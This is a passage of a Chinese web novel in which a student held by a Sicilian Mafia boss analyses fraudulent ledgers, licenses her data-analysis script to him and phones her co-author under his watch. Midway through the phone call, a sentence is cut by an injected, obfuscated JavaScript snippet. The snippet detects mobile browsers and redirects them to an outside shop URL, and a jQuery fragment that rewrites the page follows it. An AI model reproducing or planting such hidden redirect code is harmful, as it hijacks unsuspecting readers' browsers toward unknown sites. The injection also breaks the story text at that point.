一万欧,一个月,一笔收入,一笔支出,差额一万。整数。 这不是蟑螂了,这是老鼠,一只能把整个账目啃出一个洞的老鼠。 我抬起头,看着洛伦佐。 洛伦佐看着我。 “继续。”他说。 我低下头,继续批注。 接下来的每一页都有问题。有些差额是一千,有些是两千三百欧,有些是五千四百欧,但有一个共同点,全都是整数,没有任何一笔差额是有零有整的。 这说明什么? 说明有人在用同一个模板做假账。 我的笔越写越快,批注越来越多。页边距写不下了,我就写在了便利贴上,贴在对应的位置。便利贴不够用了,我就把纸折了一个角,在旁边写。 等我批注完最后一页,抬起头,发现洛伦佐已经不在原来的位置了。 他站在我身后。 我不知道他什么时候走过来的,也不知道站了多久。他微微弯着腰,翠绿色的眼睛正看着我批注的那些内容。 距离很近,近到我能闻到他身上的味道,一种木质调的香水与咖啡味混合在一起的气味。 我下意识地往旁边缩了一下。 “批注完了?”他问。 “完了。”我把笔放下,手指还有点抖。 洛伦佐直起身,拿起那本被我批注得面目全非的账本,翻了几页。他看着那些圈圈、箭头、便利贴和折角,沉默了几秒钟。 然后他把账本合上,放在桌上。 “这本账本,”他的声音很平淡,“是我故意拿错的。” 我愣了一下。 “我想测试一下你的能力,”洛伦佐走回办公桌后面,重新坐下,翠绿色的眼睛看着我,“看你多久能发现问题,能发现多少问题。” 我我看着他的脸,又看了看桌上那本被我写满批注的账本。 故意拿错的。 测试,这是一个测试。 我的后背开始冒冷汗。 洛伦佐从办公桌最底层的抽屉里拿出另一本账本。 深蓝色的硬壳封面,和第一本一模一样,但这本的厚度是第一本的三倍。 “这才是真的。”他说。 我看着那本厚了三倍的账本,喉咙里像是被塞了一团棉花。 “一天半的时间,分析完。” “一天半?” “对。” “明天下午?” “明天晚上之前。” 我的脑子开始飞速运转。这本账本至少有两百页,每一页都有密密麻麻的数字。一天半的时间,就算是二十四小时不睡觉,也要以每小时十页的速度推进。每页都要看、要算、要核对、要写分析报告。 “老板,”我说,“我下周二有测试,计量经济学的考试,占期末成绩的百分之二十五。我还没有复习,索洛模型的推导我还没完全搞懂,异方差性的处理方法我只记住了稳健标准误,加权最小二乘法的步骤我……” “林恩。” 洛伦佐的声音不大,但那个语气让我后背一凉。 他看着我,翠绿色的眼睛里那个我熟悉的信号又亮了起来。 “考试重要,”他说,声音很轻,“还是命重要?” 我看着那本账本,又看了看洛伦佐的表情。 考试重要还是命重要? 命更重要。 但问题是,如果没有考试,没有奖学金,没有毕业证,我累死累活地在餐馆里干活,在出租屋里裹着三条毯子写论文,在Mafia眼皮下想尽一切办法活着出去的意义是什么? “命重要,”我说,“但是——” “你自己选。” 我闭了闭眼。 “命重要。” 洛伦佐点了点头,端起咖啡杯喝了一口,那个姿态的意思是“那就没什么好说的了”。 我只有一天半的时间,如果今天晚上通宵,明天通宵,也许能在考试前挤出一点时间复习。 也许。 “老板,”我看着洛伦佐,“我能不能带回去房间里算?” “为什么?” “因为当着老板的面工作压力太大了。”我实话实说,“哪个打工人不怕在老板眼皮子底下干活?您在旁边看在,我连笔都拿不稳。万一算错了数字,又要重新来过,浪费时间。” 洛伦佐盯着我看了两秒钟,唇边的弧度加深了一些。 “可以,”他说,“算完了把数据发我。” 他拿起桌上的手机,手指在屏幕上划了几下。 “邮箱地址发到你手机上了。” 我的手机震了一下。 “好的老板,”我站起来,抱起那本厚重的账本,“没问题老板,谢谢老板。” 我转身走了两步,又停下来。 “老板。” “又怎么了?” “那个,邮箱附件大小有限制吗?我的分析报告可能会比较大,因为我习惯把原始数据和中间计算过程也附上——” “林恩。” “在。” “你再问一个关于邮箱的问题,”洛伦佐微笑着说,那个笑容温柔得让人头皮发麻,“就别出去了。” “再见老板,我这就去算!” 我抱着账本,一路小跑回了房间。 回到房间后,我把账本放在书桌上,打开电脑,深吸一口气。 一天半,三十六小时,两百页账本。 平均每小时要看五页半,每页大概十到十五个条目,每个条目都要核对、计算、分析。 靠手工算,会算死。 但我有一个秘密武器。 我把U盘从书本底层里翻出来,插进电脑。 这个U盘里存着一个数据分析程序,是我和计算机学院的一个学长一起写的。当初写这个程序的时候,是为了处理一个数据量很大的课程项目。程序可以自动识别财务数据中的异常模式,比如数字涂改、重复录入、整数异常等等。 程序跑一遍,相当于人工核对十遍的速度。 如果我用程序辅助分析,至少能省下三分之二的时间。省下来的时间,可以用来复习计量经济学。 我知道电脑后台有监控软件,洛伦佐可能会知道我用了这个程序。但程序本身不违法,它只是一个数据分析工具,是我和刘洋共同的研究成果。用了就用了,顶多被问一句“这个程序是什么”,不至于被沉海。 而且,省下来的时间可以复习。考试不能挂科。挂科了奖学金就没了。奖学金没了…… 等等,洛伦佐给我的钱足够付学费了。 但奖学金还是我的钱,不能丢。 我双击打开程序,用手机把每一页都拍了下来,传到电脑上。程序开始运行,屏幕上跳出一行一行的分析结果。 第一页,没问题。第二页,没问题。第三页,有一个异常,数字的末位分布不符合本福特定律。 本福特定律。自然产生的数字,首位数字为1的概率约为百分之三十,为9的概率约为百分之四点六。如果人为编造数字,分布会偏离这个规律。 程序的界面上,异常项被标成了红色。 第四页,红色。第五页,红色。第六页,黄色——轻微异常。 屏幕上的红色和黄色越来越多,像是有人在上面画了一幅抽象画。 我盯着屏幕,手指在桌面上无意识地敲着。 程序跑得很快,比我人工核对快了不知道多少倍,但每一处异常都需要人工复核,因为程序只能识别“异常”,不能判断“为什么异常”。 我打开Stata,把账本中的数据录入,开始做描述性统计。 到晚上十一点的时候,我录入了大概三分之一的数据。屏幕上密密麻麻地标满了红黄蓝三色的标记,像一幅抽象画。 我的眼睛开始发酸,手指开始发僵,但我不能停,一天半的时间,已经过去了几个小时。 我站起来,去冲了一杯咖啡。胶囊咖啡,德龙咖啡机,免费的,按照我的口味框框加糖和牛奶。 我端着咖啡回到书桌前喝了一口,烫得我龇了咧嘴。 继续。 凌晨一点。录入过半。程序跑出了第一份分析报告。 可疑条目总计八十七条。红色二十七条,黄色三十八条,蓝色二十二条。涉及的金额加起来,是一个让我瞳孔放大的数字。 我盯着那个数字看了三秒钟,然后把它写在了分析报告的第一页。 继续。 凌晨两点,录入完成三分之二。我的眼皮开始打架,手指在键盘上打滑了好几次。但程序跑出来的结果越来越清晰:这个账本的问题,比第一本假账本严重得多,第一本假账本只有六个月的差额,这本真正的账本,问题条目横跨了整整三年。 我把数据整理好,写完了分析报告的初稿。 凌晨两点半,报告完成。 我的手指悬在“发送”键上方,犹豫了一下。现在发过去?洛伦佐应该已经睡了。凌晨两点半收到一份财务分析报告,他会不会觉得我有病? 不对,他本来就觉得我有病。 我设置了一个定时发送。早上九点半。这样既不会打扰他睡觉,又能让他工作的时候看到。 设置完定时发送,我合上电脑,从椅子上站起来,集中仅存的注意力换了睡衣,关了台灯,一头栽倒在床上。 被子都没来得及盖好,意识就断了。 我做了一个梦,梦到自己在考场上,卷子上的题目全都认识,答案却一个都写不出来。 教授站在讲台上,面无表情地看着我,手里拿着一个POS机。 “考试重要还是命重要?”他问。 “都 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我浑身一个激灵,条件反射地用意大利语说了一句:“Buongiorno,Signore.” 洛伦佐的眉毛挑起。 “现在是上午十一点。” 我眨了眨眼,脑子终于从“睡眠模式”切换到“清醒模式”。 十一点?我睡了多久?从两点半到十一点,八个半小时。我设的定时发送是九点半,报告已经发过去了。 “老板,”我说,“我已经把数据整理好了,定时发送到您的邮箱了。您没收到吗?” “收到了。” 我长出一口气:“那就好,我还以为发送没成功。” “你几点做完的?”他问。 我犹豫了一下。 说实话还是说假话?说假话可能被拆穿,说真话可能会被当成工作狂。但洛伦佐的表情看不出喜怒,翠绿色的眼睛里只有一种平静的、等待回答的耐心。 “两点半。”我实话实话。 “凌晨两点半?” “对。” 洛伦佐沉默了一瞬。 “数据有问题吗?”我赶紧问。 “没有问题。” 我松了一口气。程序跑出来的结果应该是对的,学长写的脚本没有bug,我的录入也没有出错。 “但我想知道,你怎么做到这么快算完的。” 我的心跳漏了一拍。 这台电脑里有监控软件,那个蓝色的圆点图标,我假装没看到,但它一直在那里。 洛伦佐只要查,就一定知道我用了什么程序,知道我在电脑上做的每一件事。他问这个问题,不是因为他不知道答案,而是因为他想听我说出来。 这是一次测试。 测试我会不会说实话。 “我用了之前和计算机学长一起写的脚本,”我说,声音尽量保持平稳,“一个数据分析程序,可以自动标注异常值、分类整理可疑条目、生成初步的分析报告。” 洛伦佐的手指在桌面上轻轻叩了一下。 “为什么不在书房里用?” “因为那个程序在我的U盘里,”我说,“U盘在我的包里。当着你的面插U盘,感觉像是在作弊。” 洛伦佐看着我,翠绿色的瞳眸反射出的光芒掩盖了里面的情绪。 “所以你回了房间,用了那个程序,四个多小时做完了原本需要一天半的工作。” “差不多。” “然后定时发送邮件,为了让我觉得你是早上才开始做的。” 我沉默了一秒。 “……对。” 洛伦佐看着我,翠绿色的眼睛里没有生气,没有嘲讽,甚至没有意外。那个表情更像是一种“果然如此”的确认。 “为什么不定到今天早上八点半再开始做?”他问,“如果你八点半开始,用你的程序,中午之前也能做完。” 这个问题问得好。为什么不定到早上再做? “因为我希望能多一点时间复习,计量经济学下周二就要测试,题目很难,我听学长学姐说去年的平均分才六十八。” 洛伦佐看着我。我穿着皮卡丘睡衣,头发翘着,光脚站在地毯上,脸上还带着枕头压出来的红印子。 “把那个程序发给我看看。”他开口道。 电脑上有后台监控,洛伦佐完全可以在我不知道的情况下直接从硬盘里把程序拷走。 但他没有。他问了我。 这一点让我有点……说不清的感动。 但是。 感动归感动,账还是要算清楚的。 程序是我和学长两个人的研究成果,虽然不是什么了不起的东西,但毕竟是我们花了三个周末写出来的。洛伦佐要看,这属于合同外的要求。 合同外的要求,应该对应合同外的报酬。 这是基本的商业逻辑。 “老板,”我说,声音比刚才小了一些,“那个程序是我和学长两个人的研究成果。你让我发给你看,这属于合同外的要求。所以……” 洛伦佐的眉毛微微挑了一下。 “所以什么?” “所以要付一笔授权使用费。” 洛伦佐盯着我看了三秒钟。 房间里的空气像是凝固了。 “授权使用费。”他重复了一遍这个词,声音很慢。 “对,”我清了清嗓子,努力让自己看起来像一个专业的、有理有据的、不是在趁机敲诈的财务顾问,“知识产权是有价值的。学长写代码写了八千多行,我测bug测了两百多个小时。这个程序虽然不是商业化产品,但它的技术含量和劳动投入是客观存在的。如果您只是看一眼,我可以不收钱。但如果您要用,那就要——” “林恩。” “嗯?” “换件衣服,去吃饭。”洛伦佐说,翠绿色的眼睛里带着一种“我已经放弃挣扎”的平静,“然后带上你的电脑来书房。” “带电脑去书房做什么?” “谈授权费。” “好的老板。” 他转身走了。 我站在门口,看着他的背影消失在走廊拐角。 “回去换衣服,”他说,“换好了来书房,带上你的电脑。” 然后他转身走了。 我看着他的背影消失在走廊,然后转身走到衣柜前,伸手摸了摸那件浅蓝色的针织衫,又低头看了一眼身上的皮卡丘睡衣。 皮卡丘更舒服。 但皮卡丘不能穿着去谈授权费。 我换上了白衬衫和黑裤子,对着镜子把领子翻好,把翘起来的头发用水按了按,让它服帖一点。 剩下的时间,得提前查一下市场价了。 14. chapter14 别问我为什么一个Mafia买脚本的价格比市场价还高,问就是“保密”两个字,在商业世界里,永远是最贵的附加条款。 以及,我的合伙人问我“小林子你是不是被Mafia绑架了”,而大BOSS就坐在旁边,端着咖啡,一字不漏地听完了全程。 - 书房里的光线比上午柔和了一些,窗帘拉开了一半,午后的阳光从落地窗斜射进来,在深色的实木地板上画出一道长长的光带。 洛伦佐坐在办公桌后面,面前摊着我的笔记本电脑。屏幕上是我打开的脚本代码,深蓝色的关键字和黑色变量名在白色的背景上铺展开来。 他看得很仔细。 和那种随便扫两眼就翻页的看不一样,是逐行逐句的、像是在读一本很厚的书。翠绿色的眼睛顺着代码的行列缓慢移动,偶尔在某一行停下来。 我站在办公桌旁边,双手垂在身侧,像一个小学生站在班主任的办公桌前。我很想开口介绍这段代码的功能,比如这段是用来做数据清洗的,那个函数是用来识别异常值的,这个模块是学长的写的,那几行是我自己加的注释…… 但是我没说,打工人的经历告诉我,老板没吩咐的事情,不要主动做。主动做事等于主动找事,主动找事等于主动找死。 书房里安静了很久。墙上挂钟的滴答声在沉默里被放大了好几倍,每一声都像是在提醒我时间的流逝。我盯着洛伦佐看代码的表情,试图从他的微表情里判断他对这些代码的评价。 他的表情几乎没有变化。 没有皱眉,没有点头,没有任何“这个写得好”或者“这个写得烂”的信号。翠绿色的眼睛只是一行一行地往下扫,像一台精密的扫描仪。 大概过了十几分钟——也可能更久,我不确定,因为太紧张了——洛伦佐的手指终于从触摸板上移开了。 他抬起头看着我。 “如果这个程序需要修改,”他的声音不大,“你能不能改?” 我想了想。这个问题不能吹牛,也不能太谦虚。吹牛了万一他让我改一个我改不出来的东西,就露馅了。太谦虚了显得这个程序不值钱,授权费就谈不起来了。 “一些简单的需求可以改,”我说,“基本的语法和数据清洗的逻辑我已经学会了。当初写这个程序的时候,学长负责核心算法,我负责测试和调试,顺便学了一点编程。如果需求比较复杂,比如要加新的机器学习模型或者要优化算法效率,那种我搞不定,需要找学长帮忙。” “除了他之外,我还有其他计算机系的朋友可以当外援,我们有个群,谁遇到技术问题就在群里吼一声,总有人会帮忙。” 洛伦佐点了点头,那个表情像是在确认某个他已经猜到的答案。 “你报价多少?” 我的喉咙动了一下。 报价。这个问题我在来书房的路上想了一路。市场价、友情价、敲诈价、保命价……我把每一种都算了一遍,最后选定了一个数字。比市场价高一点,比敲诈价低一点,刚好卡在“我觉得值这个钱”和“我觉得他可能会答应”的中间。 我知道洛伦佐大概率会压价,在经济学里,这叫“锚定效应”:先报一个较高的价格,给对方一个压价的锚点,最后成交的价格反而会比直接报底价更高。 “一万两千欧,”我的声音尽量保持平稳,“这是一次性授权费,不包含后续的维护和升级。如果需要维护和升级,按工时收费。” 我等着洛伦佐开口砍价。 按照正常的商业谈判流程,他应该会说“太贵了”,然后我解释一下为什么值这个价,他说“八千”,我说“九千八”,最后在九千五左右成交。 这是标准流程。 “两万。” 我愣住了。 “什么?” “两万欧元。”洛伦佐靠在椅背上,语调平淡的好像他只是随便说了个数字玩玩,“永久授权。” 我的脑子短路了大概两秒钟。 两万!他给了两万!比我报的价高了八千。八千欧,够我交两年半的学费。不对,学费已经有人付了。八千欧,够我在学校食堂吃一千三百多顿饭。一天三顿的话,能吃四百多天。 “但是,”洛伦佐的声音打断了我的思考,“有几个条件。” 果然,天上没有掉馅饼。 “第一,你对维斯科尼家族购买这份程序的真正使用范围和涉及到的数据信息需要保密,不能透露给未被允许的任何人。” “可以。”我点头,“标准的知识产权授权协议都会有保密条款。” “第二,授权协议书只会和你一个人签。” 这句话让我的手指在膝盖上蜷了一下。 “你的学长不需要知道这份协议是和谁签的。”洛伦佐说,“他的名字不会出现在协议书上,只有你。” 我看着他。 他看着我的眼睛。 “怎么样?”他问。 办公室里安静了几秒钟。窗外的阳光落在深色的桌面上,尘埃在光柱里缓缓浮动。 我的脑子在飞速运转。 两万欧,条件是不让我告诉任何人,授权协议只跟我签,学长只能看“被允许”的部分条款。 这意味着一件事,洛伦佐想通过这个程序的控制权把我绑得更紧。 这个念头在我脑子里转了两圈,然后我想起了学长,我们一起熬了无数个夜,在图书馆的角落里对着屏幕骂编译器,在咖啡厅里用纸巾画流程图。程序里的每一行代码,都是我们两个人一起写出来的,中间的接口改了十几版才跑通。 没有他,这个程序根本不存在。 “很抱歉,老板。”我说,声音比我预想的要轻,“这件事我需要和学长商量。” 洛伦佐的眉毛微微挑了一下。 “因为这是我和学长两个人的合作成果,”我咽了一口唾沫,继续说,“代码是他写的,测试是我做的,缺了谁这个程序都出不來。我们从一开始就说好了,任何商业化的决定都要两个人一起做。授权协议如果要签,应该是我们两个人一起签。如果您只和我一个人签,那我需要先问问他同不同意。” 我的手在发抖,坐在我面前的这个人,可以一句话就把人沉进第勒尼安海。 而我正在对他说“不”。 但洛伦佐的反应出乎我的意料。 他没有皱眉,没有冷笑,更没有用那片海来提醒我什么叫“拒绝的代价”。他只是看着我,翠绿色的眼睛里多了一层我说不清的东西。 “可以,”他说,“但不能出去。” “什么意思?” “线上联系,”洛伦佐端起咖啡杯喝了一口,“你在这里说,我在这里听。” 我点了点头。这个要求很合理,他不会让我脱离他的视线去联系一个外部人员,尤其是在涉及家族财务数据和内部工具的情况下。他能同意让我在线上联系学长,已经是意料之外的宽容了。 “行。”我说,“学长已经在别的地区实习了,暂时也没法来巴勒莫。线上正好,省得他跑一趟。” 我已经自身难保了,至少不能把学长牵扯过深,线上至少比线下安全。 洛伦佐微微抬了抬下巴,那个姿态的意思是“开始吧”。 我深吸一口气,从口袋里掏出手机,打开微信,在联系人列表里找到了学长的头像。一只橘猫趴在键盘上,备注是“锐哥”。 我盯着那个头像看了两秒钟,在心里把要说的话过了一遍。 不能提维斯科尼,不能提Mafia,不能说洛伦佐,只能说有一个客户,对我们的程序感兴趣,想出钱买授权。条件是需要保密,只能由我一个人签协议,锐哥只能看部分条款。 锐哥会怎么想?他会觉得这个客户有问题吗?他会问东问西吗? 我点开对话框,犹豫了零点五秒,然后按下了语音通话的按钮。 嘟——嘟——嘟—— 每一声都像是在我的心尖上碾过去。 电话接通了。 “小林子!”学长的大嗓门传出来,带着那种东北人特有的爽朗,“卧槽你小子终于活过来了!前两天群里都在说你失踪了,周姐说你好几天没来上课,电话不接消息不回,我就说你是不是被Mafia绑架了哈哈哈哈!” 我手一抖,手机差点从掌心里飞出去。我用两只手死死握住那个滚烫的长方体金属块,指甲陷进手机壳的边缘,指节发白。 我的余光扫了一眼洛伦佐,他靠在椅背上,翠绿色的眼睛正看着我,嘴角那个弧度像是在说“这个话题我很有兴趣听下去”。 “锐哥你电影看多了吧!”我的声音拔高了半个调,语速快得像机关枪在扫射,“什么绑架,意大利哪有那么多Mafia!你怎么不说我被外星人抓去做实验了!” “外星人绑你还得给你治病,”学长的声音里带着一种欠揍的调侃,“就你这亚健康作息,熬夜熬到凌晨一两点,早上靠咖啡续命,外星人看了都得摇头。不行,这个标本质量太差了,换一个。” “我靠锐哥你说话能不能别这么损!”我用最快的语速把话题拉回来,“说正事,我这边有个客户,对我们的程序感兴趣,想买授权。” 电话那头安静了一瞬。 “真的假的?”学长的声音拔高了一个八度,“我们的程序?那个‘数据分析助手v2.0’?有人要买?” “真的,”我说,“一次性两万欧的授权费。” “两万欧?!”学长的声音大到我能想象他整个人从椅子上弹起来的样子,“小林子你不是在逗我吧?” “没逗你,认真的。” “小林子,这种客户你从哪找的?能不能再找几个?” “一个就够你受的了,”我嘀咕了一句。 “什么?” "没什么,我说你还想要自己找去。" “所以这公司做啥的?” 我看了洛伦佐一眼,洛伦佐的表情没有任何变化,翠绿色的眼睛安静地看着我。 “卖柠檬的,”我的喉咙有点干,“还有橄榄油,西西里这边的农业公司,规模挺大的。” “农业公司?”学长的语气里带着明显的疑惑,“农业公司买我们的数据分析程序做什么?他们是要分析柠檬的大小还是橄榄的圆度?用Excel应该够了?” 我努力让自己的声音听起来理直气壮:“意大利的农产品出口很厉害的,橄榄油在欧洲市场占有率很高,柠檬也是一样。人家做的是大宗国际贸易,一年流水几千万欧,两万欧买个软件对他们来说就是九牛一毛。” 这是真话,洛伦佐确实很有钱,至于他卖不卖柠檬和橄榄油,这不重要。 “卧槽,”学长说,“早知道干这个这么赚钱,我不学计算机了,改行种田去。” “你种田?”我翻了个白眼,“锐哥你连杂草和稻子都分不清,还种田?” “我分得清!水稻和小麦我还是分得清的!” “那你上次去农家乐,指着麦田说‘这片水稻长得真好’的是谁?” “那是……那是光线不好!夕阳西下,麦浪金黄,我一时看走眼了!” 我差点笑出来,但余光瞥见办公桌后面的洛伦佐,赶紧把笑意压了回去。 洛伦佐靠在椅背上,双手交叉放在腹部,翠绿色的眼睛正看着我打电话。他的表情很平静,嘴角挂着一个似有若无的弧度,像是在看一场还算有趣的演出。 我收回目光,把注意力重新放回电话上:“但客户提的条件有点特殊。” “什么条件?” “授权协议只跟我一个人签,你只能看部分条款。保密要求也比较严,不能透露相关的任何信息” 电话那头沉默了几秒钟。 “什么意思?”学长的声音没有了刚才的玩笑意味,“他不跟我签?” “我可以给你看部分条款,但完整的协议和客户信息……不能透露。” 电话那头又沉默了。 我能听到学长的呼吸声,还有一些背景里的键盘敲击声,大概是在加班。 “小林子,”学长终于开口了,声音比刚才认真了很多,“这个客户到底是做什么的?你跟我说实话。” 我悄悄瞄了一眼洛伦佐。 洛伦佐喝着咖啡,没抬头。 “卖柠檬和橄榄油的,”我说,“我刚才说了。” “你刚才说的是农业企业,”学长说,“两万欧买一个大学生写出来的数据分析程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449724|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序,还只跟你一个人签协议。你告诉我,哪家卖柠檬的会这么干?” 我努力让自己的声音听起来轻松一点“都说了意大利农业很强,人家几百年就在种柠檬和橄榄树了,这点钱洒洒水啦。” “林恩。” 学长很少叫我的全名,他叫我小林子,叫我林仔,偶尔叫我“那个整天泡图书馆的卷王”。他叫全名的时候,说明他是认真的。 “你跟我说实话,”他说,“你是不是惹上什么人了?” 我的手指在手机背面攥得更紧了。 洛伦佐的手指在桌面上轻轻叩了一下。 那个声音很轻,轻到只有我能听到。 “没有,都说了你少看点电影。”我说,声音尽量平稳,“就一个客户,要求比较严格。我跟他说了,程序是我们两个人的成果,任何授权决定都必须跟你商量。所以他让我打电话问你。” 电话那头沉默了很久。 久到我以为信号断了。 “那你打算怎么办?” “我想听听你的意见,”我说,“程序是你写的,代码是你的心血。如果你觉得不合适,我就不接。” 学长沉默了几秒。 我听到了手机里传来的指甲与机身磕碰发出的轻轻敲击声。 摩斯密码。 他在问我安不安全。 我闭了闭眼,笑着说:“放心锐哥,条款我会帮你看的,不让你吃亏。” 学长又沉默了几秒。 “所以,锐哥你同意吗?” “同意,为啥不同意,反正代码你也懂,有问题你能改,分的钱够我买台新电脑了。”学长说,“但是你一定要把协议看清楚,尤其是那些小字。我还记得你第一份兼职的合同你没仔细看完就签了,结果被坑了两个月工资——” “我知道我知道,”我赶紧打断他,不想让他在这个话题上继续说下去,“协议我会一条一条看的。你放心。” “行,钱你先收着,到时候转我。”他说,“协议的话你把能给我看的部分发过来,剩下的你帮我把关。反正你学经济的,合同条款比我懂。” “好嘞,谢谢锐哥。” “谢什么谢,程序是我们两个人的,赚了钱我还要请你吃饭呢。对了,米兰这有一家火锅店特别正宗,你有空来这边玩,我请客啊!” “那我要吃海鲜,还有大龙虾。” “行行,让你吃个够。”学长笑着说,“好了不说了,我这边还有活没干完,先挂了。” “嗯,下次有空再聊。”我挂断了电话,手心全是汗。 “学长同意了,”我说,“但是有一个条件,我要把部分条款发给他过目。不能发的部分您标注好,我会处理掉,不会泄露。” 洛伦佐点了点头。 “两万欧,”他说,“明天打到你账户。” “等一下,”我伸出手,做了一个“暂停”的手势,“还有几个细节。” 洛伦佐的眉毛微微挑了一下。 “第一,”我说,“协议里要写明授权使用的范围。维斯科尼家族可以使用这个程序,但不能把这个程序转让、出售或者授权给任何第三方。程序的版权仍然属于我和学长。” 洛伦佐挑了挑眉:“可以。” “第二,不能永久保密。” “为什么?” “因为永久保密不现实,”我说,“五年之后我可能都不在意大利了,你让我永远保密,我万一哪天喝多了说漏嘴怎么办?要有一个合理的期限,超过了这个期限,我应该有权利在不泄露商业机密的前提下,把这个项目作为我的工作经历写进简历里。” 洛伦佐看着我,翠绿色的眼睛里有什么东西闪了一下。 “你要把维斯科尼家族写进简历?”他问。 “不写家族名字,”我说,“写老板你名下随便哪个明面上的企业,到时候如果遇到背调,你可以让人帮忙接个电话说一句‘此人曾为我司提供财务分析服务’就行。” 洛伦佐沉默了。 “还有最后一条。”我趁着自己还没怂补充道,“允许我和学长在学术场景下使用这个程序,以及在任何不与维斯科尼家族构成竞争关系的情境下使用。” “学术场景?” “对,比如我写论文的时候可以用程序跑数据,如果程序只能给你用,不能给我自己用,那我以后写毕业论文怎么办?还有学长,他在实习,也可能要用。” “你们自己写的程序,为什么不能用?” “因为协议上写的是‘维斯科尼企业获得使用权’,如果条款不够明确,以后可能会有争议。不如写清楚一点——‘授权方保留在非商业、非竞争场景下的使用权利’。” 洛伦佐放下交叠的双腿,从椅子上直起身,双手交叉放在桌面上。 “保密期限,合同终止后五年。版权归你们,学术场景和非竞争情境下的使用,允许。至于简历,到时候再说。” “好的老板。”我点了点头,“谢谢。” 洛伦佐低下头开始在纸上写东西:“协议明天让卢卡奥拟。两万欧,税后。授权期限三年,三年后重新谈。” 他看着纸上写的那几行字,然后抬起头,翠绿色的眼睛看着我。 “还有什么要补充的吗?” 我想了想。 “卢卡奥这次能把三个语言版本做一致吗?” 洛伦佐的笔尖顿了一下。 他看了我一眼,那个眼神里有一种“你能不能别哪壶不开提哪壶”的无奈。 “我会让他注意。” “好的。”我拿起桌上的笔记本电脑,合上屏幕,转身往门口走,“谢谢老板。” “出去吧。”洛伦佐没有抬头,“在下周二之前,不会打扰你的复习。” “太感谢你了老板。”我诚恳地表达自己内心的喜悦,“我保证绝对不挂科补考。” “出去。” 我出去了。 站在走廊里,我靠在墙上,长长地呼出一口气。手机还在手里攥着,屏幕上是和学长的通话记录,时长四分十八秒。 还剩四天。 下周二考试。 四天时间,我必须把索洛模型和异方差性全部搞定。 15. chapter15 别问我为什么一个Mafia高级成员会沦落到给人搬快递,问就是BOSS的命令,而BOSS的命令从来不需要理由。 以及,那个戴着黑框眼镜踩着足球的小学生到底是谁? - 马可站在走廊尽头的窗边,手里端着一杯已经凉透了的咖啡。 这是他今天第三次经过林恩的房门口,门缝里透出暖黄色的灯光,还有隐约的键盘敲击声,节奏很快,像是在和什么人吵架。偶尔夹杂几句自言自语,中文的,他听不太懂,但能捕捉到几个反复出现的词——“索洛”“稳健性”“交互项”。 他低头看了一眼手表,下午两点。 林恩已经连续四个小时没出过房间了。 马可执行过无数次监视任务,从巴勒莫的码头到那不勒斯的仓库,从警惕的内鬼到狡猾的线人,没有一次失手。那些人总会露出马脚,总会做贼心虚,总会在某个不经意的瞬间暴露出他们不该知道的事情。 但林恩不是任何一种。 BOSS的命令很明确,看着他,确保他不跑,确保他不出事,确保他做的每一件事都在可控范围内。 马可一开始觉得这个任务很简单。那个留学生被关在房间里,没有试图逃跑,没有试图联系外界,甚至没有表现出任何不满。他每天基本上在写作业、看书、和组员开线上会议。 马可站在林恩身后的时候,那个留学生甚至不会回头看他一眼。 他上午走进房间时,林恩正戴着耳机对着电脑屏幕上的数据模型念念有词。马可的脚步声在木地板上很轻,但以正常人的听觉范围,绝对能察觉到有人进来了。林恩没有任何反应,他的眼睛盯着屏幕上一行一行的代码输出结果,嘴唇微微翕动,像是在默读什么。 马可双手插在口袋里,足足看了四十多分钟。林恩偶尔抬起头,朝他笑一下,那个笑容里带着一种“我知道你在监视我但我觉得你挺辛苦的”的莫名其妙的好意。 然后他会说一句:“马可,我晚上想煮粥,你要不要来一碗?” 马可每次都说不要。 但林恩每次都会问。 昨天下午,卢卡奥带着协议来了。这次他终于记住了要带附件,三份合同的条款也保持了高度一致。林恩在书房里拿着翻译软件,看了半个小时,没有找出任何毛病,当林恩签字的时候,马可亲眼看到卢卡奥的握拳的手放松了。 签完字之后,林恩没有多停留,抱着协议副本就回了房间。马可跟在他身后,看着他走进房间,关上门,然后听到门锁咔嗒一声。不是反锁,只是轻轻带上。 然后又是键盘声。从下午一直响到天黑,从天黑一直响到深夜。 马可站在走廊里,看着那扇门缝里透出的灯光,忽然觉得这个留学生和他见过的所有人都不同。其他人被关在这里,要么想方设法逃跑,要么战战兢兢地等着发落。林恩被关在这里,第一反应是“太好了,终于没人打扰我复习了”。 凌晨一点,马可最后一次巡逻经过林恩的房门口。灯光还亮着,键盘声还在响。他犹豫了一下,抬起手想敲门,手指在距离门板两厘米的地方停住了。 然后他放下手,转身走了。 第二天中午。 林恩难得在中午十二点准时出现在餐厅,他穿着米黄色的针织衫配一件白衬衫,头发翘着一撮,看起来像是刚从床上爬起来没来得及打理。眼睛下面有淡淡的青色,大概昨晚又熬夜了。他在餐桌前坐下,吃了一份意面,喝了一杯牛奶,整个人的状态比前几天松弛了一些。 马可站在餐厅的角落,靠着墙,双手插在口袋里,看着林恩把最后一口牛奶喝完。 林恩放下杯子,忽然抬起头,看着马可。 “马可,”他说,“我想买快递。” 马可的眉毛微微动了一下。“什么?” “快递,”林恩重复了一遍,“网购,我准备在网上买些东西,需要收货地址。写庄园的地址,能签收吗?” “林恩先生,"马可面无表情地看着他。“你觉得维斯科尼庄园能收快递吗?” 林恩眨了眨眼。 “不能吗?”他问。 马可没有回答。答案显而易见。维斯科尼庄园的地址不在任何公开的邮寄系统里。进出庄园的所有物品都需要经过检查,快递员连大门都进不来。 “那你给我一个可以签收的地址,”林恩说,“再不改地址就来不及了。” 马可的手指在口袋里微微动了一下。 “什么东西?” “教材、复习资料、零食,还有一些生活用品。” “你可以把要买的东西列成清单,”马可看着林恩,语调平静,“我们会派人去买。” 林恩的表情变了,那种变化很像是一种“你完全没有理解我在说什么”的无奈。 